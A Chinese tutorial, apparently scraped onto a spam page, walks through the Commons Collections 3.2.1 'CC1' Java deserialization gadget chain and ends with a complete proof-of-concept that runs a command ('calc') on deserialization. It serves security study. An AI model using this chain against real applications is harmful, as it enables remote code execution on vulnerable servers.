当前位置: 首页 > news >正文

兰州建设网站的网站网上开店策划书

兰州建设网站的网站,网上开店策划书,织梦音乐网站模板,微信营销管理软件文章目录 背景环境以及配置分析0x1 终点(利用点分析)0x20x30x310x320x33 0x040x05 背景 Apache Commons Collections是Apache提供的一个Java库#xff0c;它扩展了Java自带的集合框架。通过这个库#xff0c;咱们可以使用更多种类的集合类型#xff0c;以及各种实用的集合操… 文章目录 背景环境以及配置分析0x1 终点(利用点分析)0x20x30x310x320x33 0x040x05 背景 Apache Commons Collections是Apache提供的一个Java库它扩展了Java自带的集合框架。通过这个库咱们可以使用更多种类的集合类型以及各种实用的集合操作工具。这些功能在标准Java库中往往是缺失的或者实现起来比较繁琐。 commons-collections 组件反序列化漏洞的反射链也称为CC链本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链这条攻击链被称为CC1链(国内版本的)。 环境以及配置 JDK-8u65 因为CC1链在jdk 8u71后就修复了 因此我们复现就利用 8u65的版本CommonsCollections 3.2.1 Oracle JDK 8u65 全平台安装包下载 - 码霸霸 (lupf.cn) 通过配置Maven依赖下载 CommonsCollections3.2.1版本 dependencies !-- https://mvnrepository.com/artifact/commons-collections/commons-collections -- dependency groupIdcommons-collections/groupId artifactIdcommons-collections/artifactId version3.2.1/version /dependency /dependencies因为jdk自带的包里面有些文件是反编译的.class文件(比如说这里的 sun 包我们调试的时候没法清楚的看懂代码为了方便我们调试我们需要将他们转变为.java的文件这就需要我们去 openjdk 安装相应的源码可以自行了解一下 oraclejdk 和 openjdk 区别与联系: jdk8u/jdk8u/jdk: af660750b2f4 (openjdk.org) 下载好压缩包之后解压拷贝 /src/share/classes下的sun文件夹进入到相应JDK的文件夹中里面本来就有个src.zip的压缩包我们解压到当前文件夹下然后把我们拷贝的 sun 文件夹粘贴到 src 文件夹中去 idea 打开项目打开 File - Project Structure - Platforms Settings - SDKs,把src文件夹添加到 Sourcepath 下保存即可。 分析 0x1 终点(利用点分析) CC1链的源头就是 Commons Collections 库中的 Tranformer 接口这个接口里面有个 transform 方法。 ctrl alt b 查看哪些类调用了这个接口 进入重写 transform 方法的 InvokerTransformer 类 发现它重写了 Serializable,比较符合我们的要求。看一下构造方法 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName methodName;this.iParamTypes paramTypes;this.iArgs args;}接受三个参数分别是方法名方法类型Class 数组方法参数Object 数组 再来到重写的 transform( public Object transform(Object input) {if (input null) {return null;} else {try {Class cls input.getClass();Method method cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var4) {throw new FunctorException(InvokerTransformer: The method this.iMethodName on input.getClass() does not exist);} catch (IllegalAccessException var5) {throw new FunctorException(InvokerTransformer: The method this.iMethodName on input.getClass() cannot be accessed);} catch (InvocationTargetException var6) {throw new FunctorException(InvokerTransformer: The method this.iMethodName on input.getClass() threw an exception, var6);}}}参数接受一个对象然后通过反射机制来调用某个方法执行我们看构造函数已经发现了参数都是我们可控的那么不就可以构造任意方法执行了吗 我们先尝试用这个类的 transform 方法实现计算器的弹出 public static void main(String[] args) {Runtime r Runtime.getRuntime();new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}).transform(r);}可以看到命令成功执行了我们推链子都是逆着来的所以现在就相当于找到源头了接下来就是一步步回溯寻找合适的子类调用了InvokerTransformer 的 transform 方法构造漏洞链直到到达重写了 readObject 的类为止。 0x2 那现在就可以找谁调用了 transform 了有一点值得注意的是不要去找某个类的 transform 调用了 transform不然你又得去找谁调用了 transform 了要找就找不同方法调用 transform。 我们先 find usages 查找都有谁调用了。 看到我们需要的TransformedMap类下的checkSetValue方法 protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}老规矩先看一下这个类的构造方法。 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer keyTransformer;this.valueTransformer valueTransformer;}接受三个参数一个 Map 型我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了可控。 特别是第三个参数我们 checkSetValue return 的就是这第三个参数执行的 transform 方法所以第三个参数可以传invokerTransformer 对象。 可以看到构造器和方法都是protected权限的也就是说只能本类内部访问不能外部调用去实例化那么我们就需要找到内部实例化的工具这里往上查找可以找到一个public的静态方法decorate public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}它接受了和构造方法一样的参数并且实例化了这个类。 这里有一个小知识 staic 修饰的静态方法可以直接类名 方法名调用 那我们可以先调用这个方法然后实例化这个类然后再想办法调用checkSetValue方法 Runtime r Runtime.getRuntime();InvokerTransformer invokerTransformer new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});Map map new HashMap();TransformedMap.decorate(map, null, invokerTransformer);这里的第二个参数没有用到所以先设置为 null 然后我们就得找 checkSetValue 怎么被调用了。我们发现只有 AbstractInputCheckedMapDecorator 调用了 checkSetValue。而且它是 TransformedMap 的父类 static class MapEntry extends AbstractMapEntryDecorator {/** The parent map */private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent parent;}public Object setValue(Object value) {value parent.checkSetValue(value);return entry.setValue(value);}}其副类 MapEntry 里的 setValue 方法调用了 checkSetValue。 MapEntry 继承于 AbstractMapEntryDecoratorAbstractMapEntryDecorator 又引入了 Map.Entry 接口 Map.Entry是Map声明的一个内部接口此接口为泛型定义为EntryK,V。它表示Map中的一个实体一个key-value对。所以用 TransformedMap 的 entrySet() 遍历 Map 的时候就能调用 setValue 方法 Java HashMap entrySet() 方法 | 菜鸟教程 (runoob.com) 所以我们只需要进行常用的Map遍历就可以调用setValue方法 for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式entry.setValue(r); //调用setValue方法并把对象r当作对象传入}Runtime r Runtime.getRuntime();InvokerTransformer invokerTransformer new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});HashMap map new HashMap();map.put(aaa,aaa); //给map一个键值对方便遍历MapObject,Object transformedmapTransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式entry.setValue(r); //调用setValue方法并把对象r当作对象传入 流程就是我们遍历 transformedmap 的时候用的是 entrySet() 来自于 transformedmap 父类的 entrySet() 然后就会进入其父类的副类 MapEntry 下的 构造方法使每个 entry 这里就是 “aaa”-“aaa” 进入 AbstractMapEntryDecorator 的构造方法也就是 MapEntry 的父类AbstractMapEntryDecorator 又引入了 Map.Entry 接口所以可以通过遍历调用 setValue 方法恰巧 MapEntry 重写了这个方法。而这个重写的方法正好调用了 checkSetValue。 0x3 老规矩继续查找用法看看有哪些方法里面调用了setValue并且可以被我们所利用. 好巧不巧 sun 包下的 sun.reflect.annotation 里的 AnnotationInvocationHandler 类就有这个方法 而且还是重写的 readObject 方法调用的 我们依旧看一下这个类的构造方法 AnnotationInvocationHandler(Class? extends Annotation type, MapString, Object memberValues) {Class?[] superInterfaces type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length ! 1 ||superInterfaces[0] ! java.lang.annotation.Annotation.class)throw new AnnotationFormatError(Attempt to create proxy for a non-annotation type.);this.type type;this.memberValues memberValues;}接受一个注解型的第二个是个 Map 型的而且这个 memberValues 会被拿去遍历所以这个我们就可以传 invokerTransformer 。 注意到这个构造器没有类型所以默认只能内部调用那我们只能用 反射 来获取构造方法了。 //反射获取AnnotationInvocationHandler类Class cClass.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor constructorc.getDeclaredConstructor(Class.class,Map.class); //获取构造器constructor.setAccessible(true); //修改作用域constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型第二个就是我们之前的类//序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(ser1.bin));oos.writeObject(object);}public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {Runtime r Runtime.getRuntime(); InvokerTransformer invokerTransformer new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});HashMap map new HashMap();map.put(aaa,aaa); //给map一个键值对方便遍历MapObject,Object transformedmapTransformedMap.decorate(map,null,invokerTransformer);//反射获取AnnotationInvocationHandler类Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor constructor c.getDeclaredConstructor(Class.class,Map.class); //获取构造器constructor.setAccessible(true); //修改作用域constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型第二个就是我们之前的类try {serialize(c);} catch (Exception e) {e.printStackTrace();}}没有反应想要正常反序列化整条链子我们当下还要解决三个问题 0x31 首先就是 Runtime 这个类它没有 Serialize 接口不能被序列化 但是 Class 可以被序列化 那我们就可以利用反射来调用 getRuntime 方法从而得到 Runtime 的实例化类 Class cClass.forName(java.lang.Runtime); //获取类原型Method getRuntime c.getDeclaredMethod(getRuntime,null); //获取getRuntime方法Runtime r(Runtime) getRuntime.invoke(null,null); //获取实例化对象因为该方法无无参方法所以全为nullMethod execc.getDeclaredMethod(exec, String.class); //获取exec方法exec.invoke(r,calc); //实现命令执行没问题可以调出计算器c来。现在就重复上面的分析想办法用 transform 反射实现计算器的弹出。 我们回想一下之前怎么用 InvokerTransformer 的利用了 InvokerTransformer 的 transform 里的反射机制 new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}).transform(r);上面调用了 r 的 exec 方法那我们就可以依葫芦画瓢 //先调用 getDeclaredMethod 方法 获取getRuntime方法 Runtime.class - getDeclaredMethod() //再调用 invoke 方法获取实例化对象 getRuntime - invoke() //获取exec方法并进行命令执行 r - execMethod getRuntime (Method) new InvokerTransformer(getDeclaredMethod, new Class[]{String.class,Class[].class}, new Object[]{getRuntime,null}).transform(Runtime.class);Runtime r (Runtime) new InvokerTransformer(invoke, new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}).transform(r);但是这样要一个个嵌套创建参数太麻烦了我们这里找到了一个Commons Collections库中存在的ChainedTransformer类它也存在transform方法可以帮我们遍历InvokerTransformer并且调用transform方法: 返回的是执行 transform 后的对象用在这里刚刚好 Class rcClass.forName(java.lang.Runtime); //创建一个Transformer数组用于储存InvokerTransformer的数据便于遍历 Transformer[] Transformersnew Transformer[]{new InvokerTransformer(getDeclaredMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,null}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}) }; //调用含参构造器传入Transformer数组然后调用transform方法这里对象只需要传一个原始的Runtime就行因为其他都是嵌套的。 ChainedTransformer chainedTransformer new ChainedTransformer(Transformers); chainedTransformer.transform(Runtime.class);好那么好我们接下来就和上面一样用 TransformedMap 来调用 ChainedTransformer用 AnnotationInvocationHandler 触发 TransformedMap Transformer[] Transformersnew Transformer[]{new InvokerTransformer(getDeclaredMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,null}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc})};ChainedTransformer chainedTransformer new ChainedTransformer(Transformers);HashMap map new HashMap();map.put(aaa,aaa); //给map一个键值对方便遍历MapObject,Object transformedmapTransformedMap.decorate(map,null,chainedTransformer);//反射获取AnnotationInvocationHandler类Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor constructor c.getDeclaredConstructor(Class.class,Map.class); //获取构造器constructor.setAccessible(true); //修改作用域constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型第二个就是我们之前的类try {serialize(c);} catch (Exception e) {e.printStackTrace();}0x32 如果我们把上面的 POC 拿去 序列化还是不行的还得绕过 AnnotationInvocationHandler 类里面的两个 if 判断 调试一下发现第一个 if 都进不去这里memeberType是获取注解中成员变量的名称然后并且检查键值对中键名是否有对应的名称而我们所使用的注解 Override 是没有成员变量的: 而我们发现另一个注解:Target中有个名为value的成员变量所以我们就可以使用这个注解,并改第一个键值对的值为value: map.put(value,aaa);Object o constructor.newInstance(Target.class,transformedmap);成功进入第一个 if 再来看第二个 if memberType.isInstance(value)isInstance是Class类的一个方法isInstance(Object obj)obj是被测试的对象如果obj是调用这个方法的class或接口 的实例则返回true。这个方法是instanceof运算符的动态等价memberTypevalue 是否可以强转 肯定不是啊直接进 if 里面了 0x33 终于到最后一个问题了我们传入的value值根本就不是我们需要的 Runtime.class memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() [ value ]).setMember(annotationType.members().get(name)));我们最后要的是 chainedTransformer.transform(Runtime.class);这里就需要ConstantTransformer类 我们看到这个类里面也有transform和构造器配合使用的话我们传入什么值就会返回某个值这样就能将value的值转为Runtime.class 再 chainedTransformer.transform(xxx)时我们让 transforms 数组第一条是 new ConstantTransformer(Runtime.class)这样就相当于 ConstantTransformer(Runtime.class).transform(xxx)然后 transform return 出 iConstan 也就是 Runtime.class之后 chainedTransformer 继续遍历下去。至此最后一个问题也解决了。 0x04 完整代码 package org.example;import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;public class CC1 {//序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(ser.bin));oos.writeObject(object);}public static void unserialize(String filename) throws Exception{ObjectInputStream objectInputStreamnew ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {Transformer[] Transformersnew Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getDeclaredMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,null}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc})};ChainedTransformer chainedTransformer new ChainedTransformer(Transformers);HashMap map new HashMap();map.put(value,aaa);MapObject,Object transformedmapTransformedMap.decorate(map,null,chainedTransformer);Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor constructor c.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object o constructor.newInstance(Target.class,transformedmap);try { // serialize(o);unserialize(ser.bin);} catch (Exception e) {e.printStackTrace();}} } 0x05 感谢白师傅的讲解以及另外两位师傅的博客 Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili JAVA安全初探(三):CC1链全分析 - 先知社区 (aliyun.com) Java反序列化CC1链 详解_cc链-CSDN博客 CC1 链虽然复现起来很困难而且 java 很多知识也是一知半解。但是行百步者半九十只要坚持下去就一定会有收获的。
http://www.pierceye.com/news/875474/

相关文章:

  • 大什么的网站建设公司达州网站建设哪家好
  • 漳州网站建设优化房地产网站建设意义
  • 兰州酒店网站建设app推广联盟平台
  • 周边产品设计培训哪家好响应式网站做优化好吗
  • 互联网金融整站seo排名要多少钱
  • 阜宁县城乡建设局新的官方网站重庆智能网站建设哪里有
  • 做ppt常用的网站有哪些建设网络强国要有自己的技术
  • 保险网站有哪些保险网站网页设计与制作课程说明
  • 海外网站seo优化wordpress支持asp.net
  • 什么网站做企业邮箱服务单页网站cms
  • 做电商网站的框架结构图wordpress用户标签
  • 益阳做网站的公司濮阳新闻直播
  • 网站logo更换晋城市 制作网站
  • 读书网站建设策划书摘要推荐网站建设案例
  • 西安网站建设 大德wordpress图片浏览
  • 陕西建设注册中心网站网页设计与制作长江职业学院
  • 佛山网站设计外包有没有做淘宝客网站的
  • 手机怎么做3d短视频网站网站开发工程师php岗位职责
  • 莆田做网站公司电话人才网站建设方案
  • 找人做网站需要问哪些问题桂林漓江悦府
  • 专门做2次元图片的网站高清vpswindows在线看
  • 青岛手机建站公司网站源码com大全
  • 电脑搭建网站需要空间wordpress文件夹权限设置方法
  • 建设网站基础医疗网站建设比较好的
  • 建个网站视频教程小程序开发是前端还是后端
  • 广州分享网站建设网站速度查询
  • 做电商网站价钱传奇类网页游戏大全
  • 如何选择南京网站建设网站制作能赚多少钱
  • 一站式网站设计已有域名如何在花生壳网站做二级域名托管
  • 哪个网站可以接图纸做返利网站怎么做的